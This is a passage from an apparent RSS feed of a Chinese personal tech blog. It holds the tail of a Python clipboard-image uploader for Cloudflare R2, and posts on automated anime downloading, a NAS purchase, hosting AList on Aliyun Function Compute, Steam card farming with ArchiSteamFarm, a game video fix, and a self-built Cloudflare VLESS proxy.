    &quot;&quot;&quot;生成 Markdown 图片链接&quot;&quot;&quot;
    if not filename:
        return None

    url = f&quot;https://{OSS_CONFIG[&apos;url&apos;]}{OSS_CONFIG[&apos;prefix&apos;]}/{filename}&quot;
    return f&quot;![]({url})&quot;

def type_markdown_link(markdown_link):
    &quot;&quot;&quot;模拟键盘输入 Markdown 链接&quot;&quot;&quot;
    if not markdown_link:
        return

    pyperclip.copy(markdown_link)
    pyautogui.hotkey(&apos;ctrl&apos;, &apos;v&apos;)

def handle_upload():
    &quot;&quot;&quot;处理图片上传的主函数&quot;&quot;&quot;
    print(f&quot;\n[{time.strftime(&apos;%Y-%m-%d %H:%M:%S&apos;)}] 收到粘贴请求&quot;)

    print(&quot;正在检查剪贴板...&quot;)
    # 获取剪贴板图片
    image = get_image_from_clipboard()
    if not image:
        print(&quot;❌ 剪贴板中没有图片&quot;)
        return
    print(&quot;✅ 获取到剪贴板图片&quot;)

    # 转换为 webp
    print(&quot;正在转换为 WebP 格式...&quot;)
    image_data = convert_to_webp(image)
    if not image_data:
        print(&quot;❌ 图片转换失败&quot;)
        return
    print(f&quot;✅ 转换完成，大小: {len(image_data)/1024:.2f}KB&quot;)

    # 上传到 R2
    print(&quot;正在上传到 R2...&quot;)
    filename = upload_to_r2(image_data)
    if not filename:
        print(&quot;❌ 上传失败&quot;)
        return
    print(f&quot;✅ 上传成功，文件名: {filename}&quot;)

    # 生成并输入 Markdown 链接
    markdown_link = generate_markdown_link(filename)
    if markdown_link:
        print(f&quot;生成的 URL: https://{OSS_CONFIG[&apos;url&apos;]}{OSS_CONFIG[&apos;prefix&apos;]}/{filename}&quot;)
        print(f&quot;模拟键入: {markdown_link}&quot;)
        type_markdown_link(markdown_link)
        print(&quot;✅ 操作完成&quot;)

def main():
    &quot;&quot;&quot;主函数&quot;&quot;&quot;
    print(&quot;=&quot; * 50)
    print(&quot;R2 图片上传插件已启动&quot;)
    print(f&quot;当前配置:&quot;)
    print(f&quot;- OSS 域名: {OSS_CONFIG[&apos;url&apos;]}&quot;)
    print(f&quot;- 存储路径: {OSS_CONFIG[&apos;prefix&apos;]}&quot;)
    print(f&quot;- R2 存储桶: {R2_CONFIG[&apos;bucket_name&apos;]}&quot;)
    print(&quot;使用 Ctrl+Alt+V 上传剪贴板中的图片&quot;)
    print(&quot;=&quot; * 50)

    # 注册快捷键
    keyboard.add_hotkey(&apos;ctrl+alt+v&apos;, handle_upload)

    # 保持程序运行
    keyboard.wait()

if __name__ == &quot;__main__&quot;:
    main() 
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>教你搭建自己的番剧库，实现自动追番！</title><link>https://2x.nz/posts/autobangumi/</link><guid isPermaLink="true">https://2x.nz/posts/autobangumi/</guid><description>使用AutoBangumi连接qBittorrent下载番剧，然后使用刮削软件刮削，设置一遍，享受终身</description><pubDate>Mon, 24 Feb 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;实现流程：&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;每当新番更新时AutoBangumi自动向qb推送种子下载并且重命名&lt;/li&gt;
&lt;li&gt;刮削软件（如Plex，飞牛影视设置定时搜索媒体库）&lt;/li&gt;
&lt;li&gt;你只需要选番，然后等待下载和看就行了 &lt;s&gt;实际并非&lt;/s&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;安装qbittorrent&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;用于下载番剧&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;各系统安装方法各有不同。如果你安装的是非nox版本，记得在设置打开WebUI，并监听0.0.0.0:8080&lt;/p&gt;
&lt;p&gt;Windows：&lt;a href=&quot;https://sourceforge.net/projects/qbittorrent/files/qbittorrent-win32&quot;&gt;SourceForge&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Linux：&lt;code&gt;apt/yum install qbittorrent-nox&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Docker：https://github.com/linuxserver/docker-qbittorrent&lt;/p&gt;
&lt;p&gt;Tracker服务器大全：&lt;a href=&quot;https://www.yaozuopan.top/index.php/archives/1014/#:~:text=%E4%B8%AD%E5%9B%BD%E5%8F%AF%E7%94%A8%E7%9A%84%20BT%20T&quot;&gt;中国可用的 BT Tracker 服务器列表，每24小时自动更新 - 小小编程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/29e0e4c26c15463ff692aabcee747950e2d029d3.robm6G95.webp&quot; alt=&quot;8938ee430e5f74109c34c8c6d48e0e4f619cbeff.webp&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;安装&lt;a href=&quot;https://www.autobangumi.org/&quot;&gt;AutoBangumi&lt;/a&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;用于获取你订阅的番剧并在更新时自动发起下载任务&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;安装Docker，各系统安装方式各有不同&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;找一个你喜欢的文件夹创建&lt;code&gt;docker-compose.yaml&lt;/code&gt; ，并写入内容：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;version: &quot;3.8&quot;

services:
  AutoBangumi:
    image: ghcr.io/estrellaxd/auto_bangumi:latest
    container_name: AutoBangumi
    volumes:
      - ./config:/app/config
      - ./data:/app/data
    ports:
      - &quot;7892:7892&quot;
    network_mode: bridge
    restart: unless-stopped
    dns:
      - 223.5.5.5
    environment:
      - TZ=Asia/Shanghai
      - PGID=$(id -g)
      - PUID=$(id -u)
      - UMASK=022
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;运行命令：docker compose up -d&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;进入localhost:7892 ，默认账号：admin，默认密码：adminadmin&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;点左边的设置图标 -&amp;gt; 下载设置，填入下载器信息，然后点击右下角的应用，直到右上角亮绿灯&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/94f407121de7816ee2dff78f948dcc2ded27b28f.DcVOABj3.webp&quot; alt=&quot;QmbVcrgZ2C2FTt6QdfKsUkVQz9SCiQiyq1WCbphDiGW2mM.webp&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;前往蜜柑计划，注册账号，并订阅你想要的番剧（复制）
&lt;img src=&quot;https://2x.nz/_astro/0e22eab8db6ed2441f3d3be0b10d51944867df0a.B0ZYIR_c.webp&quot; alt=&quot;QmXq7DcBkA4EecJikQE4snvPkNU2NQLy1EXUpAructteah.webp&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;回到 AutoBangumi，点击右上角的 +，添加 RSS（粘贴）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;静静等待，不出意外 AutoBangumi 会自动下载你订阅的番剧了（如果没有可以查看AutoBangumi的日志，或者尝试重启容器）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;下载旧集或已完结番剧&lt;/h3&gt;
&lt;p&gt;首先推荐几个资源网（梯子自备）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://acg.rip&quot;&gt;ACG.RIP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://share.acgnx.se&quot;&gt;末日动漫资源网&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;蜜柑计划 国内直连：1. https://mikanime.tv 2. https://hadestian.cn 3. https://mk.misakaae.com 4. https://mikan.yujiangqaq.com 5. RSS镜像站：https://mikanani.longc.top&lt;/li&gt;
&lt;li&gt;蜜柑计划 需翻墙：https://mikanani.me
然后找你想要的番剧下载&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;规范重命名&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;为了让软件能正确刮削元数据和剧集，我们需要规范重命名。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注意！你只需要确保番剧名正确就可以了！子目录可以通过后面的脚本自动重命名！如果你不确定番剧名请前往TMDB搜索：&lt;a href=&quot;themoviedb.org&quot;&gt;The Movie Database (TMDB) &lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一级目录（qb 设置的下载目录）：不需要重命名&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;二级目录（番剧名，必须正确）：总之就是非常可爱&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;三级目录：（番剧的哪一季）：Season 1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;四级目录：（番剧的哪一季的哪一集）：S01E01.MP4&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;s&gt;前往Episode-ReName，克隆仓库&lt;/s&gt;  &lt;s&gt;（已被删库，可尝试&lt;a href=&quot;https://alist.onani.cn/Episode-ReName.zip&quot;&gt;Episode-ReName.zip | Onani-AList&lt;/a&gt; )&lt;/s&gt; AList已死，请尝试天翼云盘： https://cloud.189.cn/web/share?code=iQVjUnzE7fQj （访问码：i8sk）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Win 可以通过右键菜单自动获取路径版.bat 通过右键一级目录选择自动剧集命名 。若使用.py 脚本则只能通过&lt;code&gt;python3 EpisodeReName.py &quot;D:/qbdownloads/bangumi&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;小贴士：&lt;/strong&gt; 可以使用&lt;a href=&quot;https://onani.cn/RaiDrive&quot;&gt;RaiDrive&lt;/a&gt;或&lt;a href=&quot;/SSHFS&quot;&gt;SSHFS&lt;/a&gt;将远程的Linux文件映射到Windows上，管理番剧更方便
&lt;img src=&quot;https://2x.nz/_astro/5cf6dfe73164f6a869a59817df53f939e936ab00.C7_JuG-m.webp&quot; alt=&quot;QmY7KM2MjudNksqvSkkFmwFgjjdD7ZQKLDaVPXR3jnXoxw.webp&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;安装 Plex（或者安装飞牛云NAS）&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;用于观看番剧&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;下载Plex Media Server&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启动。默认端口 32400（如果进去是一堆乱码，添加/web后缀。例如：192.168.124.25:32400/web）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择你的媒体库文件夹&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;开启远程访问，右上角设置 -&amp;gt; 远程访问&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;图为飞牛影视&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/acbde8bfd7395a8b5c744b9f1c550f3caac6c342.BTI31wqs.webp&quot; alt=&quot;Qmf8Q1D9fUoFbu9MQsQHvaz13p3YV2XguR3RqUAse2KBEa.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;爽看&lt;/p&gt;
</content:encoded></item><item><title>我买了个新NAS...</title><link>https://2x.nz/posts/new-nas/</link><guid isPermaLink="true">https://2x.nz/posts/new-nas/</guid><description>你可能不知道，我曾经购入过一台N100迷你主机，不久后便卖掉了，不过现在我又购入了，这是为什么呢？</description><pubDate>Sat, 22 Feb 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;我为什么在很久之前买了一个NAS（？存疑&lt;/h1&gt;
&lt;p&gt;这其实是一个老生常谈的问题，就像你问我为什么要开始写博客，我也只能给你一个答案，我想这么做。&lt;/p&gt;
&lt;p&gt;好吧好吧，这个答案可能过于敷衍，如果让我仔细想想，应该说当时我已经有了不少的Linux理论知识和实操经验（通过云服务器），所以就想自己弄一个24h小时不关机的小主机放在家里玩（家里云）。&lt;/p&gt;
&lt;p&gt;一开始，我只是用它挂了QQBot，这也是我最初最想要干的事情，因为如果我去花钱买国内的云服务器挂Bot那太贵了，国外的服务器延迟又太高，拿自己的手机电脑是一个很好的选择，我的朋友就曾使用过Shamrock（？？？）来挂Bot。不过这并不适用于我，在当时，我的所有设备（包括手机、平板、电脑）都各司其职，还要天天陪我出勤，根本做不到24h不关机，我总不能说我电脑/手机/平板断网Bot就下线吧，而且我也很讨厌将个人设备的一部分作为服务器使用，就像你在玩崩坏：星穹铁道的时候后台挂着Stable Diffusion一样 &lt;s&gt;（而且不符合Unix哲学）&lt;/s&gt;。&lt;/p&gt;
&lt;p&gt;其实很早我就曾使用过旧手机+Termux达到家里云的效果了，但是因为手机芯片是Arm64，而大部分运维软件都是AMD64（x86）架构的。对于开源软件还好说，只需要自己费劲编译一个版本 &lt;s&gt;（或者嫖Github Action的编译）&lt;/s&gt; 就可以去使用了。
但是对于经常摸云服务器的我来说，还是喜欢x86架构的开箱即用，也可以顺势装上一些运维管理面板辅助使用。&lt;/p&gt;
&lt;p&gt;那么就只有一个解了，那就是买一个x86小主机。你可能注意到了，我说了这么久我为什么要买一个x86小主机作为家里云使用，但是通篇没有提NAS三个字，这是为什么呢，正所谓饱暖思淫欲。&lt;/p&gt;
&lt;p&gt;如果仅仅花了大价钱买了个家里云就放着吃灰绝对是不行的，所以那段时间我就开始天天折腾，但实际上来说那一款小主机并不适合作为NAS。我们都知道NAS中文叫做网络附属存储，那么既然是网络附属&lt;strong&gt;存储&lt;/strong&gt;，那必然要干什么？欸对！狠狠塞盘！但是实际上那一款小主机只有一个M.2和一个SATA插槽，而且M.2已经作为系统盘了，而SATA插槽也是只能插2.5寸的硬盘。&lt;/p&gt;
&lt;p&gt;人话来说，这完全就不是一个NAS，单盘位算NAS吗？只是一个容量比较大的家里云罢了。我说到这里你可能都会在想，那你为什么还要买呢？欸这你就不知道了，我曾经在2017年买过一个ASUS的双核笔记本，而当时这个智商税笔记本用的硬盘就是2.5寸的机械硬盘，高达512G，虽然这个主机做不了RAID，也塞不进多盘 &lt;s&gt;（其实可以，后续我通过后面的USB接口外置硬盘盒做到了一个极其不稳定的RAID0）&lt;/s&gt; ，但是它确实能做到24h不关机，N100的性能也足够用，也够我折腾各种乱七八糟的东西了。&lt;/p&gt;
&lt;p&gt;于是在那段时间我便在这个小主机上搭建了不少服务也装过不少系统，基本把常用Linux发行版全跑了一遍，也体验了PVE里面跑飞牛的嵌套操作，那段时间天天都有新东西可以折腾，还是很爽的。&lt;/p&gt;
&lt;h1&gt;那么话又说回来，既然我已经卖掉了那个小主机，这又是为什么呢？&lt;/h1&gt;
&lt;p&gt;缺钱，但是不知道在缺什么钱。哈哈，写到这里真是把我也笑到了，从众心理是真的很害人，我们都知道2024年末苹果发布了Mac Mini，16+256G+教育优惠不到4k就能买到全新机，而恰巧我的一位朋友提机了然后跟我聊这玩意怎么怎么好，然后一时上头就把能当的全部当了 &lt;s&gt;（我纱布一个，不仅是小主机惨遭毒手，还有Redmi Book Pro 15S，Redmi G，XiaomiPad 6等等）&lt;/s&gt; 。&lt;/p&gt;
&lt;p&gt;总算是凑够钱线下提机了，到手傻眼了，苹果的M4芯片是Arm架构的，很多东西都跑不了，Docker调用不了GPU，说白了这东西对我来说就是，性能强大的家庭服务器，但是我不会用，那么聪明的二叉树树做了一件什么事呢？在可以7天无理由的情况下毅然决然挂到闲鱼，以高价3333人民币卖出 &lt;s&gt;（购入是4k左右，折下来净亏1k）&lt;/s&gt; 。&lt;/p&gt;
&lt;p&gt;最后在假期余额即将不足的最后拿这个3333人民币购入了一款一加Ace 5 Pro 16+512 国家补贴-500，最终3299人民币到手的超高性能甜品机。&lt;/p&gt;
&lt;h1&gt;主播主播，你的操作还是太笨比了，后续有没有什么更笨比的操作啊！&lt;/h1&gt;
&lt;p&gt;有的，兄弟有的，就在刚刚！下单了一个新NAS，我已经准备好通宵搞机了。我的一位朋友曾说人生在于折腾，但可惜那时我已经佛了，被各种事情忙的不可开交。但是话又说回来，现在，我前所未有的感到空闲，我将带领我的大脑，我的身体，我的精神，开启一场前所未有的熬夜、搞机、折腾、坐牢盛宴&lt;/p&gt;
&lt;p&gt;哈哈！我一定要活下去口牙！&lt;/p&gt;
&lt;p&gt;后续搞机有成也会写新博文的，确实很久没写了，我向大家道歉，看着网站每天20的日活真的要哭了，你们都不来找我呜呜呜呜呜呜呜&lt;/p&gt;
</content:encoded></item><item><title>利用阿里云云函数 FC 搭建AList后端，每月仅需5毛！</title><link>https://2x.nz/posts/alist-for-aliyun/</link><guid isPermaLink="true">https://2x.nz/posts/alist-for-aliyun/</guid><description>阿里云云函数 FC是一个弹性的计算平台，可托管多种服务。搭配AList的前后端分离部署，实现比VPS更低的价格，得到更好的体验</description><pubDate>Sun, 12 Jan 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;还是建议购买一个便宜的云服务器来部署或者用家里云，这种方法很灵车&lt;/h1&gt;
&lt;p&gt;推荐Akile：https://akile.io/register?aff_code=503fe5ea-e7c5-4d68-ae05-6de99513680e&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;AList前端有一个专门的项目：https://github.com/AlistGo/alist-web 。可前往&lt;a href=&quot;/alist-web&quot;&gt;AList-Web部署教程&lt;/a&gt;。教程使用了Cloudflare Page进行前端部署，我们更建议你使用 https://vercel.com 来进行前端部署，因为更快。这些都完全免费&lt;/li&gt;
&lt;li&gt;部署完毕前端后，我们就需要一个后端，它需要能够执行AList的二进制文件，并且能开放端口（默认为5244）来让前端可以和后端相互通信。在传统情况下我们会选择购买一台云服务器，或者用自己的电脑/家里云+Cloudflare Tunnel又或者是Serv00这种免费的托管。本篇我们使用阿里云FC函数计算，它虽然可以运行二进制文件，但是和传统架构大相径庭，我们要深入了解。&lt;/li&gt;
&lt;li&gt;FC函数是一个实例性服务。用户可以创建函数部署服务，当一定条件被触发（比如HTTP触发器）则创建新的实例开始运行用户的服务。也就是说这个实例是无状态的，如果直接拿来部署AList就会导致第一次配置完毕后过一段时间再访问就会变为初始状态。就算你一开始就使用一个全量包来部署，在部署后也无法对其进行更改，所以我们需要绑定一个NAS文件系统，用于数据持久化。但是NAS文件系统并不能直接绑定到代码的运行时 /code/xxx 目录，我们可以使用AList的指定配置文件参数，将NAS绑定到 /mnt/AList 然后指定配置文件到 /mnt/AList 。也就是通过 &lt;strong&gt;./alist server --data /mnt/AList&lt;/strong&gt; 命令来启动，这样就做到了数据持久化。&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;关于计费&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;FC函数通过CU数来收费&lt;/li&gt;
&lt;li&gt;NAS通过存储空间来收费&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;实操&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;我们假设你已经部署完毕了前端。前端和后端的通信地址在根目录的 env.production 文件定义&lt;/li&gt;
&lt;li&gt;我们目前并不知道这个后端URL如何填写，因为这个URL是由阿里云在FC函数创建完毕的时候才会展示，所以我们暂且搁置到一遍&lt;/li&gt;
&lt;li&gt;接下来我们前往阿里云-函数计算FC官网 https://fcnext.console.aliyun.com/overview&lt;/li&gt;
&lt;li&gt;依次点击 左侧边栏的 函数 -&amp;gt; 创建函数 -&amp;gt; Web函数。进入到创建Web函数的页面&lt;/li&gt;
&lt;li&gt;函数名称填写AList，运行环境选择Debian 10或Debian 11，代码上传方式选择从文件夹上传代码，启动命令填写：&lt;strong&gt;./alist server --data /mnt/AList&lt;/strong&gt;，监听端口填写5244&lt;/li&gt;
&lt;li&gt;我们需要上传代码到函数，也就是AList的二进制文件，我们前往 https://github.com/AlistGo/alist/releases/latest 下载最新的Linux AMD64架构的二进制文件，也就是 &lt;strong&gt;alist-linux-amd64.tar.gz&lt;/strong&gt;。将其解压，你会得到一个名为 &lt;strong&gt;alist&lt;/strong&gt;的二进制文件，创建一个空文件夹将其放进去，然后上传这个文件夹到函数&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/QmdajYeRyt1u3BSmRdGx8uUHKamGDkwoRe4TmEFZsJsaqS.webp&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;然后点击左下角的创建&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后你会进入到函数的控制面板，依次点击 配置 -&amp;gt; 网络 -&amp;gt; 网络 编辑 -&amp;gt; 允许访问VPC:是 -&amp;gt; 自动配置。依次点击 配置 -&amp;gt; 存储 -&amp;gt; NAS文件存储 编辑 -&amp;gt; 挂载 NAS 文件系统:启用 -&amp;gt; 自动配置。依次点击 日志 -&amp;gt; 开通日志服务&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;现在回到 代码 界面，点击部署代码。稍等片刻会提示部署成功，然后点击 函数详情内的 HTTP触发器 ，复制公网访问地址。这个就是我们前文提到的要写到前端根目录的 env.production 文件的URL，将其填写进去，例如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;VITE_API_URL = &quot;https://aliyun-fc-alist.run&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;提交你的新更改，前端会自动重新构建&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;尝试直接访问你的AList前端URL，它应该会顺利进入到AList的登录页面&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;此时查看控制面板的 实例 是否有一条新的实例正在工作，如果有，再前往日志查看该实例日志，你会看到AList初始化时生成的管理员密码，拿这个密码到前端URL登录AList，然后就可以正常使用了&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h1&gt;疑难解答&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;如果出现正在加载储存：
&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/QmZVewYnKwCJzcShnkGTTVZJiTSUUSQi9u6pZ5rXRDK3rK.webp&quot; alt=&quot;9aa460cd2dc84e1debe43e9df2d342fc&quot; /&gt;
查看你的日志，是否有存储加载失败，如果有可以尝试：
&lt;ol&gt;
&lt;li&gt;反复重新部署，直到能进后台然后删除那些加载失败的存储&lt;/li&gt;
&lt;li&gt;https://github.com/AlistGo/alist/discussions/3976&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>使用ArchiSteamFarm进行Steam自动挂卡</title><link>https://2x.nz/posts/asf/</link><guid isPermaLink="true">https://2x.nz/posts/asf/</guid><description>ArchiSteamFarm是一个Steam自动挂卡工具，它可以自动识别哪些游戏没有挂卡并且自动挂卡，高效率获得Steam集换式卡牌</description><pubDate>Tue, 17 Dec 2024 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;可用的目标作业系统&lt;/h1&gt;
&lt;p&gt;Windows x86/Arm64
Linux x86/Arm64/Arm32
OS X x86/Arm64
（和其余任何可以获取有效 .NET Core 运行时的地方工作。基于Github仓库源码手动编译）&lt;/p&gt;
&lt;h1&gt;安装&amp;amp;使用 ArchiSteamFarm&lt;/h1&gt;
&lt;p&gt;https://github.com/JustArchiNET/ArchiSteamFarm&lt;/p&gt;
&lt;p&gt;或前往Release：https://github.com/JustArchiNET/ArchiSteamFarm/releases/latest&lt;/p&gt;
&lt;p&gt;下载你适用于你作业系统的可执行文件的压缩包&lt;/p&gt;
&lt;p&gt;启动ArchiSteamFarm
等待终端输出WebUI地址，进入&lt;/p&gt;
&lt;p&gt;添加机器人，简单配置即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/QmcoF7K5sTkd4CRGTZPmnLwheAHpSf68RkZTd4ZST41uXc.webp&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你配置了Steam手机验证器，此时应该会弹出登录请求，允许它。然后前往终端界面输入 &lt;strong&gt;Y&lt;/strong&gt; 并回车
此时终端应该输出：&lt;strong&gt;成功以 XXXXXXXXXX 的身份登录。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/QmcuktSJjWFmufsLmrYRsbLa9ns7pvRXKWZ5EUyirasKt6.webp&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果此时登录的账号未被占用，则自动开始挂卡。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;ASF并不会干扰你的正常使用Steam的行为，当账号被占用时，ASF会暂停挂卡，直到账号未被占用，这个过程是全自动的，无需手动干涉&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;ASF可以视为一个无头Steam客户端，它不仅能挂卡，还能做更多事情，详见：https://github.com/JustArchiNET/ArchiSteamFarm/wiki&lt;/p&gt;
</content:encoded></item><item><title>关于Rewrite MV无法播放\没有画面的解决方法</title><link>https://2x.nz/posts/rewrite-qa/</link><guid isPermaLink="true">https://2x.nz/posts/rewrite-qa/</guid><description>Rewrite打完才发现MV一个没看到</description><pubDate>Wed, 27 Nov 2024 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;我使用的解决方法（Windows 10及以上带有Microsoft Store的系统）&lt;/h1&gt;
&lt;p&gt;安装这个即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/bafkreieb2qknggudxx7sc723jheso6grhgemznjqb5n6yqwsrvgqkqn4ba.webp&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后游戏内改为Windows Media Player&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/bafkreihujn3jctibvixv4trpsu5j4d2v7de2ibzea6xe6pzmithymffpqu.webp&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;汉化组提供的解决方法&lt;/h1&gt;
&lt;p&gt;安装：&lt;a href=&quot;https://www.codecguide.com/download_k-lite_codec_pack_basic.htm&quot;&gt;K-Lite Basic解码器&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后游戏内改为 MCI&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz/myblog/img/bafkreic7a3tnnoxyn646tzy35nec2oioz4ktffuizb5ge67ibww5ntnmpq.webp&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>自建正向代理服务器</title><link>https://2x.nz/posts/vpn/</link><guid isPermaLink="true">https://2x.nz/posts/vpn/</guid><description>不要再买机场了！自建它不香吗？!</description><pubDate>Thu, 21 Nov 2024 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;将Cloudflare作为代理使用（Vless - EdgeTunnel）&lt;/h1&gt;
&lt;p&gt;下面内容参考自：&lt;a href=&quot;https://vercel.blog.cmliussss.com/p/CM24/&quot;&gt;CF VLESS 从入门到精通 cmliu/edgetunnel 必看内容 免费节点 优选订阅 Workers &amp;amp; Pages CM喂饭干货满满24 | CMLiussss Blog&lt;/a&gt; 请支持原创作者！&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;https://github.com/cmliu/edgetunnel/archive/refs/heads/main.zip 将它上传到你的Cloudflare Pages项目（没有Cloudflare账号？先去因特网上搜索教程注册一个！如果遇到卡慢可以试试看科学上网）&lt;/li&gt;
&lt;li&gt;进入 https://it-tools.tech/uuid-generator 随机获取一个uuid&lt;/li&gt;
&lt;li&gt;添加一个名称为&lt;code&gt;UUID&lt;/code&gt;的变量绑定，值为第二步随机获取的（请不要泄露给他人！）&lt;/li&gt;
&lt;li&gt;重新上传第一步的&lt;code&gt;main.zip&lt;/code&gt;。让Cloudflare重新部署page以适配新变量&lt;/li&gt;
&lt;li&gt;前往Pages项目 -&amp;gt; 自定义域：绑定自定义域名。（没有域名？推荐 https://nic.us.kg https://www.cloudns.net 。可以自行前往因特网搜索教程，这里不再赘述。也可以不绑定，直接使用cf分配的&lt;code&gt;pages.dev&lt;/code&gt;域名。但是，部分地区&lt;code&gt;pages.dev&lt;/code&gt;可能无法访问或者较易和谐）&lt;/li&gt;
&lt;li&gt;通过 &lt;code&gt;https://你的自定义域名/uuid&lt;/code&gt; 查看仪表盘&lt;/li&gt;
&lt;li&gt;如图复制链接，打开V2Ray，导入。V2Ray客户端下载地址在文章最后&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-11-24-00-17-22-image.CsGIyhqY.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;500Mbps的移动宽带，通过edgetunnel测速速度如下。测速网址： https://fast.com&lt;/li&gt;
&lt;li&gt;&lt;img src=&quot;https://2x.nz/_astro/2024-11-22-09-08-38-image.wozXYRGs.webp&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;如果你就是想要最低延迟，可以去用cfnat，这里放一个Windows的链接： https://www.youtube.com/watch?v=N2Y9TsiBgls 其他平台可以自行前往CM的YouTube查找&lt;/li&gt;
